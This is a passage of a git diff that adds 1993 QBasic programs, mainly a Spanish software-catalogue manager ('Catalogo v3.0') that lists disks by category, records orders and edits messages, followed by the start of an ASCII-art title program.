"JUEGOS" +IF f = 2 THEN LPRINT "MUSICA" +IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO" +IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD" +IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA" +IF f = 6 THEN LPRINT "GRAFICOS" +IF f = 7 THEN LPRINT "UTILIDADES" +IF f = 8 THEN LPRINT "COPIONES" +IF f = 9 THEN LPRINT "LENGUAJES" +IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS" +contador = contador + 2 +CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF f = 1 THEN arc$ = "copy-3.dat" +IF f = 0 THEN arc$ = "copy-1.dat" +OPEN "R", #1, arc$, 14 +GOSUB tipodeficha +FOR A = 1 TO LOF(1) / 14 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1 +IF fichero$ <> Tf$ THEN GOTO sinsuerte +IF T$ <> " " THEN GOSUB guarda +IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1 +IF contador > 55 THEN GOSUB finlista +sinsuerte: +NEXT A +CLOSE #1 +IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$ +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +IF contador > 50 THEN GOSUB finlista +IF f <> 0 THEN f = f + 1: GOTO nf +CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33) +OPEN "r", #1, "MENSAJES", 30 +FOR A = 1 TO 5 +FIELD #1, 30 AS MENSAJE$ +GET #1 +LPRINT TAB(5); MENSAJE$ +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Lista terminada..." +LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU" +d: +IF INKEY$ = "" THEN GOTO d +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +GOTO subbrutinas + +finlista: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel" +LOCATE 15, 34: PRINT " Pulse entonces una tecla para " +LOCATE 16, 34: PRINT " continuar listando." +COLOR 7, 1, 1 +m: +IF INKEY$ = "" THEN GOTO m +LOCATE 14, 34: PRINT " " +LOCATE 15, 34: PRINT " " +LOCATE 16, 34: PRINT " " +CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1) +contador = 0: RETURN + +guarda: +G = G + 1 +IF G = 1 THEN EF$ = T$: EFD$ = DISK$ +IF G = 2 THEN EL$ = T$: ELD$ = DISK$ +IF G = 3 THEN EO$ = T$: EOD$ = DISK$ +IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea +RETURN +END + +imprimelinea: +LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$; +EF$ = "": EL$ = "": EO$ = "": EO4$ = "" +EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0 +RETURN + +gp: +' GRABAR DATOS DE PEDIDOS +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES" +p4: +I$ = INKEY$ +IF I$ = "" THEN GOTO p4 +IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas +LOCATE 14, 34: PRINT "Nombre del programa/s... " +COLOR 12, 1, 1 +PL = 15: TCOL = 34 +FOR zA = 1 TO 21 +PL = PL + 1 +COLOR 12, 1, 1 +lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$ +IF PL = 22 THEN PL = 15: TCOL = TCOL + 13 +CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont +NEXT zA +cont: +COLOR 14, 1, 1 +LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: " +LOCATE 14, 34: PRINT " " +COLOR 15, 1, 1 +lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$ +fil$ = nombre$ + ".JD" +CLOSE #1: CLOSE #2 +OPEN "R", #2, "commun_d.jd", 8 +FIELD #2, 8 AS nom$ +LSET nom$ = nombre$ +PUT #2, LOF(2) / 8 + 1 +CLOSE #2 + +OPEN "R", #1, fil$, 10 +FOR b = 1 TO CREO + 1 +FIELD #1, 10 AS tele$ +LSET tele$ = A$(b) +PUT #1, LOF(1) / 10 + 1 +NEXT b +CLOSE #1 +FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT +GOTO subbrutinas +END + +C: +COLOR 7, 1, 1 +LOCATE 3, 49: PRINT "Creditos " +LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 " +LOCATE 16, 33: PRINT " Pantallas y programa ... " +COLOR 12 +LOCATE 18, 33: PRINT " Jos‚ David Guill‚n " +LOCATE 19, 33: PRINT " Tlf. 561-XX-XX " +COLOR 7, 1, 1 +LOCATE 21, 33: PRINT " 1993, 1§BTI " +pause: +IF INKEY$ = "" THEN GOTO pause +FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q +GOTO subbrutinas + +subbrutinas: +GOSUB secuencia +GOSUB menu2 +GOSUB secuencia2 +GOTO espera2 +END + +md: + +LOCATE 15, 35: PRINT "INTRODUCE CLAVE:": lon = 4: lin = 15: col = 53: tipo$ = " ..z": GOSUB limlin +clave$ = texto$ +IF clave$ <> "JD " THEN LOCATE 15, 35: PRINT STRING$(35, " "): GOTO subbrutinas +LOCATE 15, 35: PRINT " " +GOSUB menu3 +l3 = 1 +GOSUB secuencia3 +espera5: +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube3 +ON KEY(14) GOSUB baja3 +espera6: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera6 +IF I$ = CHR$(13) THEN GOTO ejecuta3 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu2: GOSUB secuencia2: COLOR 1, 7: GOTO espera2 +GOTO espera6 + +sube3: +ant3 = l3 +IF l3 = 1 THEN l3 = 4 ELSE l3 = l3 - 1 +IF ant3 = 0 THEN ant3 = 1 +GOSUB secuencia3 +RETURN + +baja3: +ant3 = l3 +IF l3 = 4 THEN l3 = 1 ELSE l3 = l3 + 1 +GOSUB secuencia3 +RETURN + +secuencia3: +IF l3 = -1 THEN l3 = 4 +IF l3 = 5 THEN l3 = 1 +COLOR 7, 1, 1 +IF ant3 = 1 THEN LOCATE 5, 39: PRINT lot3$(ant3) +IF ant3 = 2 THEN LOCATE 6, 39: PRINT lot3$(ant3) +IF ant3 = 3 THEN LOCATE 8, 39: PRINT lot3$(ant3) +IF ant3 = 4 THEN LOCATE 10, 39: PRINT lot3$(ant3) +COLOR 1, 7 +IF l3 = 1 THEN LOCATE 5, 39: PRINT lec3$(l3): RETURN +IF l3 = 2 THEN LOCATE 6, 39: PRINT lec3$(l3): RETURN +IF l3 = 3 THEN LOCATE 8, 39: PRINT lec3$(l3): RETURN +IF l3 = 4 THEN LOCATE 10, 39: PRINT lec3$(l3): RETURN +END + +ejecuta3: +KEY(11) OFF +KEY(14) OFF +ON l3 GOTO ip, bp, im, vbp +GOTO espera5 +END + +ip: +' Introducir Programas + +selpro: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT " Seleccione SECCIàN" +COLOR 1, 7 +GOSUB secuencia +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera7: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera7 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5 +IF I$ = CHR$(13) THEN GOTO elrea +GOTO espera7 + +LOCATE 14, 34: PRINT " " + +elrea: +IF l = 11 THEN BEEP: GOTO espera7 +ft = 15 +qm = 34 +lin = 0 +col = 0 +CONTAR = 0 +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Nombre N§D Nombre N§D " +FOR G = 1 TO 14 +COLOR 7, 1, 1 +ft = ft + 1 +IF lin = 22 THEN ft = 16: qm = qm + 18 +lin = ft +col = qm +lon = 10: tipo$ = " ..z": GOSUB limlin: A$(G) = texto$ +IF A$(G) = " " THEN GOTO Grapro +lon = 3: lin = ft: col = qm + 12: tipo$ = "0..9": GOSUB limlin: T$(G) = texto$ +CONTAR = CONTAR + 1 +NEXT G + +Grapro: +qm = 0: ft = 0 +f = l: IF f = 10 THEN f = 0 +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +GOSUB tipodeficha +OPEN "R", #1, arc$, 14 +FOR b = 1 TO CONTAR +FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$ +LSET fichero$ = Tf$ +LSET tele$ = A$(b) +LSET DISK$ = T$(b) +PUT #1, LOF(1) / 14 + 1 +NEXT b +CLOSE #1 +FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q +GOTO selpro +END + +END +bp: +' Borrar Programas +COLOR 7, 1, 1 +LOCATE 20, 34: PRINT " " +selpro2: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT STRING$(37, " ") +LOCATE 14, 34: PRINT " Seleccione SECCIàN " +COLOR 1, 7 +GOSUB secuencia +KEY(11) ON +KEY(14) ON +ON KEY(11) GOSUB sube +ON KEY(14) GOSUB baja +espera72: +I$ = INKEY$ +IF I$ = "" THEN GOTO espera72 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5 +IF I$ = CHR$(13) THEN GOTO elrea2 +GOTO espera72 + +LOCATE 14, 34: PRINT " " + +elrea2: +CONTAR = 0 +' PROCESO DE BUSQUEDA +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "Nombre a eliminar: " +COLOR 7, 1, 1 +lin = 14: col = 53: lon = 10: tipo$ = " ..z": GOSUB limlin: busqueda$ = texto$ +X$ = busqueda$ + " " +fin$ = LEFT$(X$, 10) +f = l: IF f = 10 THEN f = 0 +IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat" +IF l = 1 THEN arc$ = "copy-3.dat" +OPEN "R", #1, arc$, 14 +contador = 1 +FOR A = 1 TO LOF(1) / 14 +FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$ +GET #1: PI$ = T$ +IF VAL(fichero$) <> f THEN GOTO sigue +IF PI$ = fin$ THEN GOTO borrar +sigue: +contador = contador + 1 +NEXT A +CLOSE #1 +IF busqueda$ = " " THEN GOTO bp +LOCATE 16, 34: PRINT "*** No encuentro a" +COLOR 12, 1, 1: LOCATE 16, 51: PRINT busqueda$: COLOR 7, 1, 1: LOCATE 17, 34: PRINT "*** Puede deberse a error tipografico." +frt: +IF INKEY$ = "" THEN GOTO frt +FOR T = 14 TO 22: LOCATE T, 34: PRINT STRING$(37, " "); : NEXT T +GOTO elrea2 +END +borrar: +' ELIMINANDO DATOS +CLOSE #1 +COLOR 14, 2, 2 +LOCATE 20, 34: PRINT "¨ Seguro, desea eliminarlo (S/N) ?" +rte: +IF INKEY$ = "" THEN GOTO rte ELSE IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO bp +A$ = " ": d$ = " " +GOSUB tipodeficha +OPEN "R", #1, arc$, 14 +FOR b = 1 TO 2 +FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$ +LSET fichero$ = Tf$: LSET tele$ = A$: LSET DISK$ = d$ +PUT #1, contador +NEXT b +CLOSE #1 +GOTO bp + +END +im: +' Introducir mensaje +COLOR 14, 1, 1 +PAL$ = "EL ANTIGUO COMENTARIO ERA:" +FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT +COLOR 12, 1, 1 +OPEN "R", #1, "MENSAJES", 30 +FOR A = 1 TO LOF(1) / 30 +FIELD #1, 30 AS MENSAJE$ +GET #1 +RE$ = MENSAJE$ +LOCATE 16 + A, 38: PRINT RE$ +NEXT A +CLOSE #1 +COLOR 14, 1, 1 +PAL$ = "DESEA CREAR UN NUEVO COMENTARIO" +FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT +reten: +A$ = INKEY$: IF A$ = "" THEN GOTO reten +IF A$ = "S" OR A$ = "s" THEN GOTO modificar ELSE GOTO fin +modificar: +FOR b = 1 TO 31: LOCATE 14, 36 + b: PRINT " ": PLAY "C25": NEXT +KILL "MENSAJES" +FOR C = 1 TO 5: lon = 30: lin = 16 + C: col = 38: tipo$ = " ..z": GOSUB limlin: AL$(C) = texto$: NEXT C +CLOSE #1: OPEN "R", #1, "MENSAJES", 30: FOR b = 1 TO 5: FIELD #1, 30 AS AU$: LSET AU$ = AL$(b): PUT #1, LOF(1) / 30 + 1: NEXT b: CLOSE #1 +PAL$ = "SU MENSAJE QUEDA GRABADO " +FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT +PAL$ = "PULSE UNA TECLA PARA VOLVER AL MENU..." +FOR s = 1 TO 37: TOL$ = MID$(PAL$, s, 1): LOCATE 16, 34 + s: PRINT TOL$: PLAY "A20": NEXT +reten2: +IF INKEY$ = "" THEN GOTO reten2 +fin: +FOR s = 14 TO 22: LOCATE s, 34: PRINT STRING$(37, " "): PLAY "A20": NEXT +GOSUB secuencia: GOSUB secuencia3: GOTO espera5 +END + +vbp: +COLOR 7, 1, 1 +FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +GOSUB derecha +' Visionar/Borrar Pedidos +KEY(13) ON +KEY(12) ON +ON KEY(13) GOSUB derecha +ON KEY(12) GOSUB izquierda +pause1: +I$ = INKEY$ +IF I$ = "" THEN GOTO pause1 +IF I$ = CHR$(13) THEN GOTO ejecuta4 +IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5 +BEEP: GOTO pause1 + +derecha: +Y = Y + 1 +IF Y = 3 THEN Y = 1 +COLOR 7, 1, 1 +LOCATE 10, 39: PRINT "Visionar / Borrar pedidos "; +COLOR 14, 1, 1 +IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR"; +IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR"; +RETURN + +izquierda: +IF Y = 1 THEN Y = 2 ELSE Y = Y - 1 +IF Y = -1 THEN Y = 2 +COLOR 7, 1, 1 +LOCATE 10, 39: PRINT "Visionar / Borrar pedidos "; +COLOR 14, 1, 1 +IF Y = 1 THEN LOCATE 10, 39: PRINT "VISIONAR"; +IF Y = 2 THEN LOCATE 10, 50: PRINT "BORRAR"; +RETURN + +ejecuta4: +KEY(13) OFF +KEY(12) OFF +ON Y GOTO VERD, bord + +VERD: +COLOR 12, 1, 1 +f = 0: C = 0 +OPEN "R", #2, "commun_d.jd", 8 +IF LOF(2) = 0 THEN GOTO RETIT +GOTO SIGPW + +RETIT: +CLOSE #2: LOCATE 14, 34: PRINT "ARCHIVO VACIO" +QET: +IF INKEY$ = "" THEN GOTO QET +LOCATE 14, 34: PRINT " ": GOTO vbp + +SIGPW: +FOR d = 1 TO LOF(2) / 8 + 1 +IF f = 21 THEN C = C + 10: f = 1 ELSE f = f + 1 +IF f = 21 AND C = 20 THEN GOTO finfile +FIELD #2, 8 AS nom$ +IF nom$ <> " " THEN LOCATE 15 + f, 34 + C: PRINT nom$ +T$(d) = nom$ +GET #2 +NEXT + +finfile: +CLOSE #2 + +LOCATE 14, 34: PRINT "Input Name: (May£s.) " + +LOCATE 14, 34: PRINT "Input Name: " +lon = 8: col = 47: lin = 14: tipo$ = "0..Z": GOSUB limlin: NOMIN$ = texto$ +FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +IF NOMIN$ = " " THEN GOTO vbp +FOR QWS = 1 TO 21: contr = contr + 1: IF NOMIN$ = T$(QWS) THEN GOTO ELIGE +NEXT QWS +GOTO infal + +END +ELIGE: +IF Y = 1 THEN GOTO CONSEC ELSE GOTO BORRD +END + +CONSEC: +fil$ = NOMIN$ + ".JD" +PL = 13: TCOL = 34 +OPEN "R", #1, fil$, 10 +IF fallo = 1 THEN fallo = 0: GOTO infal +IF fallo = 2 THEN fallo = 0: GOTO Infalde +FOR b = 1 TO LOF(1) / 10 + 1 +FIELD #1, 10 AS tele$ +PL = PL + 1 +COLOR 12, 1, 1 +lin = PL: col = TCOL: LOCATE lin, col: PRINT tele$ +IF PL = 21 THEN PL = 15: TCOL = TCOL + 13 +GET #1 +NEXT b +CLOSE #1 +COLOR 14, 1, 1 +LOCATE 22, 34: PRINT "Lista terminada, Pulse una tecla..." +fo: +IF INKEY$ = "" THEN GOTO fo +FOR qw = 14 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +GOTO vbp + +infal: +LOCATE 14, 34: PRINT "Archivo no encontrado" + +FOR qw = 13 TO 22: LOCATE qw, 34: PRINT STRING$(37, " "): NEXT +Infalde: +COLOR 14, 1, 1 +LOCATE 14, 34: PRINT "ERROR DESCONOCIDO;" +GOTO VERD + + +END + +bord: +GOTO VERD +BORRD: +COLOR 14, 1, 1 +LOCATE 13, 34: PRINT "ATENCION! Desea eliminarlo (S/N)" +ret: +IF INKEY$ = "" THEN GOTO ret +IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO vbp +fil$ = NOMIN$ + ".JD" +KILL fil$ +nombre$ = " " +OPEN "R", #2, "commun_d.jd", 8 +FIELD #2, 8 AS nom$ +LSET nom$ = nombre$ +PUT #2, contr +CLOSE #2 + + +GOTO vbp +END + + + + +menu1: +COLOR 7, 1, 1 +CLS +PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ßßßßßßßÛ ÛßßÜ ³ø ø³ "; +PRINT "³ Juegos ³± Û Û ßÜ ³ø Catalogo v3.0 ø³ "; +PRINT "³ ³± Û Û ßÜ ³ø ø³ "; +PRINT "³ Musica ³± Û Û Û ³ø F1 Help ø³ "; +PRINT "³ ³± Û Û Û Üß ³ø F2 Exit to DOS ø³ "; +PRINT "³ Procesadores de textos ³± Û Û Û Üß Ü³ø ø³Ü "; +PRINT "³ ³± ßÜÜÜÜß ÛÜÜß ÛÛ ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÜ"; +PRINT "³ Pgr. Contabilidad ³± ÛÛÛÛonÛlineÛ°ÛlfÛ°ÛÛÛÛÛÛ"; +PRINT "³ ³± Jos‚ David Guill‚n '93 ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"; +PRINT "³ Pgr. Electronica ³± " +PRINT "³ ³±" +PRINT "³ Graficos ³± ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Utilidades ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Copiones ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Lenguajes ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ Anti_virus ³± ³ ³±"; +PRINT "³ ³± ³ ³±"; +PRINT "³ - MENé PRINCIPAL - ³± ³ ³±"; +PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ±"; +PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +RETURN + +menu2: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: MENé PRINCIPAL ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Imprimir Lista ³±"; +LOCATE 6, 32: PRINT "³ Grabar programas elegidos ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Creditos ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Men£ de Datos ( JD ) ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 9, 1, 1 +LOCATE 10, 39: PRINT "Men£ de Datos ( JD )" +COLOR 7, 1, 1 +RETURN + +menu3: +COLOR 7, 1, 1 +LOCATE 2, 32: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿±"; +LOCATE 3, 32: PRINT "³ Men£ actual: Men£ de Datos ( JD ) ³±"; +LOCATE 4, 32: PRINT "³ ³±"; +LOCATE 5, 32: PRINT "³ Introducir nuevos programas ³±"; +LOCATE 6, 32: PRINT "³ Borrar programas ³±"; +LOCATE 7, 32: PRINT "³ ³±"; +LOCATE 8, 32: PRINT "³ Introducir mensaje ³±"; +LOCATE 9, 32: PRINT "³ ³±"; +LOCATE 10, 32: PRINT "³ Visionar / Borrar pedidos ³±"; +LOCATE 11, 32: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ "; +LOCATE 1, 32: PRINT " ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±"; +COLOR 7, 1, 1 +RETURN + + + + +cargachar: +lec$(1) = "þ JUEGOS " +lec$(2) = "þ MUSICA " +lec$(3) = "þ PROCESADORES DE TEXTOS" +lec$(4) = "þ PGRS. CONTABILIDAD " +lec$(5) = "þ PGRS. ELECTRONICA " +lec$(6) = "þ GRAFICOS " +lec$(7) = "þ UTILIDADES " +lec$(8) = "þ COPIONES " +lec$(9) = "þ LENGUAJES " +lec$(10) = "þ ANTI_VIRUS " +lec$(11) = " - Men£ Principal - " +lot$(1) = " Juegos " +lot$(2) = " Musica " +lot$(3) = " Procesadores de textos " +lot$(4) = " Pgr. Contabilidad " +lot$(5) = " Pgr. Electronica " +lot$(6) = " Graficos " +lot$(7) = " Utilidades " +lot$(8) = " Copiones " +lot$(9) = " Lenguajes " +lot$(10) = " Anti_virus " +lot$(11) = " - MENé PRINCIPAL - " + +lec2$(1) = "þ IMPRIMIR LISTA " +lec2$(2) = "þ GRABAR PROGRAMAS ELEGIDOS " +lec2$(3) = "þ CREDITOS " +lec2$(4) = "þ MENé DE DATOS ( JD ) " +lot2$(1) = "Imprimir Lista " +lot2$(2) = "Grabar programas elegidos " +lot2$(3) = "Creditos " +lot2$(4) = "Men£ de Datos ( JD ) " + +lec3$(1) = "þ INTRODUCIR NUEVOS PROGRAMAS" +lec3$(2) = "þ BORRAR PROGRAMAS " +lec3$(3) = "þ INTRODUCIR MENSAJE " +lec3$(4) = "þ VISIONAR / BORRAR PEDIDOS " +lot3$(1) = "Introducir nuevos programas " +lot3$(2) = "Borrar programas " +lot3$(3) = "Introducir mensaje " +lot3$(4) = "Visionar / Borrar pedidos " +RETURN +END + + + +limlin: +'(LIM)ite -de- (LIN)ea +'Lon=longitud lin=linea col=columna tipo$=" ..z" +LOCATE lin, col: PRINT "þ" +FOR A = 1 TO lon +X: +A$ = INKEY$: IF A$ = "" THEN GOTO X +IF A$ = CHR$(13) THEN GOTO finsec +IF A$ = CHR$(27) THEN GOTO limlin +IF A$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar + +borra: +A = A - 1: IF A < 1 THEN A = 1 +LOCATE lin, col + A - 1: PRINT " ": LOCATE lin, col + A - 1: PRINT "þ ": GOTO X + +ponchar: +IF A$ < LEFT$(tipo$, 1) OR A$ > RIGHT$(tipo$, 1) THEN GOTO X +IF A = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$ +LOCATE lin, col + A - 1: PRINT A$; : IF A <> lon THEN PRINT "þ" ELSE GOTO X +NEXT A + +finsec: +texto$ = "": FOR I = 1 TO lon +IF CHR$(SCREEN(lin, col + I - 1)) = "þ" THEN texto$ = texto$ + " " ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + I - 1)) +NEXT +LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1 +PLAY "b64": RETURN + +corrector: +IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif +IF ERR = 27 THEN GOTO nohaypapel +GOTO fallonoloc +contrif: +RESUME NEXT +END + +nohaypapel: +COLOR 14, 1, 1 +BEEP +LOCATE 13, 34: PRINT "No hay papel." + +LOCATE 13, 34: PRINT " " +GOTO il + +fallonoloc: +COLOR 15, 1, 1 +LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM" +LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).." +rti: +IF INKEY$ = "" THEN GOTO rti +GOTO principiodelprincipio +tipodeficha: +IF f = 1 THEN Tf$ = "1" +IF f = 2 THEN Tf$ = "2" +IF f = 3 THEN Tf$ = "3" +IF f = 4 THEN Tf$ = "4" +IF f = 5 THEN Tf$ = "5" +IF f = 6 THEN Tf$ = "6" +IF f = 7 THEN Tf$ = "7" +IF f = 8 THEN Tf$ = "8" +IF f = 9 THEN Tf$ = "9" +IF f = 0 THEN Tf$ = "0" +IF f = 10 THEN Tf$ = "0" +RETURN + + + + +help: +COLOR 7, 1, 1 +LOCATE 14, 34: PRINT "Ayuda basica, JD." +LOCATE 16, 34: PRINT "Use los cursores, para acceder a" +LOCATE 17, 34: PRINT "los men£s." +LOCATE 18, 34: PRINT "Presione intro para 'entrar'." +LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu." +LOCATE 21, 34: PRINT " Pulse una tecla" +retorico: +IF INKEY$ = "" THEN GOTO retorico +COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT +RETURN +END + +finp: +COLOR 7, 1, 1 +CLS +PRINT " JD, Catalogo vú3.1 " +PRINT : PRINT "Gracias por utilizar este sofware." +PRINT : PRINT "Devuelveme este disco cuando acabes." +PRINT " Gracias..." + +END + + diff --git a/BAS/COMPRAS.BAS b/BAS/COMPRAS.BAS new file mode 100644 index 0000000..e5f9ffc Binary files /dev/null and b/BAS/COMPRAS.BAS differ diff --git a/BAS/GOB.BAS b/BAS/GOB.BAS new file mode 100644 index 0000000..5209e1e --- /dev/null +++ b/BAS/GOB.BAS @@ -0,0 +1,144 @@ +DECLARE SUB mensajes () +DIM SHARED mem$(6) + +CLS +a$ = "±ÛÛÛÛÛ ±ÛÛÛÛÛ ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±ÛÛÛÛÛ ±ÛÛÛÛÛ" +b$ = "±Û±±± ±Û ±Û ±Û ±Û ±Û ±Û±Û ±Û ±Û±±± ±Û" +c$ = "±Û ±Û ±Û ±ÛÛÛÛ ±ÛÛÛÛ ±Û ±Û ±Û ±Û±Û ±Û ±Û ±Û" +d$ = "±Û ÛÛÛ ±Û ±Û ±Û±±ÛÛ ±Û±±ÛÛ ±Û ±Û ±Û ±Û ±Û Û ±Û ÛÛÛ ±ÛÛÛÛÛ" +e$ = "±Û ±±Û ±Û ±Û ±Û ±±Û ±Û ±±Û ±Û ±Û ±Û ±Û ±Û±Û ±Û±±±Û ±±±±±Û" +f$ = "±Û Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±Û ±±ÛÛ ±Û ±Û ±Û" +g$ = "±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛÛÛ ±ÛÛÛ ±Û ±Û ±Û ±±Û ±ÛÛÛÛÛ ±ÛÛÛÛÛ" +h$ = "±±±±±± ±±±±±± ±±±±±± ±±±±±± ±±±± ±± ±± ±± ±± ±±±±±± ±±±±±±" +LOCATE 21, 26: PRINT "Pulse una Tecla" + + +COLOR 12 + +RANDOMIZE TIMER +a = 1 +DO +kdb$ = INKEY$ 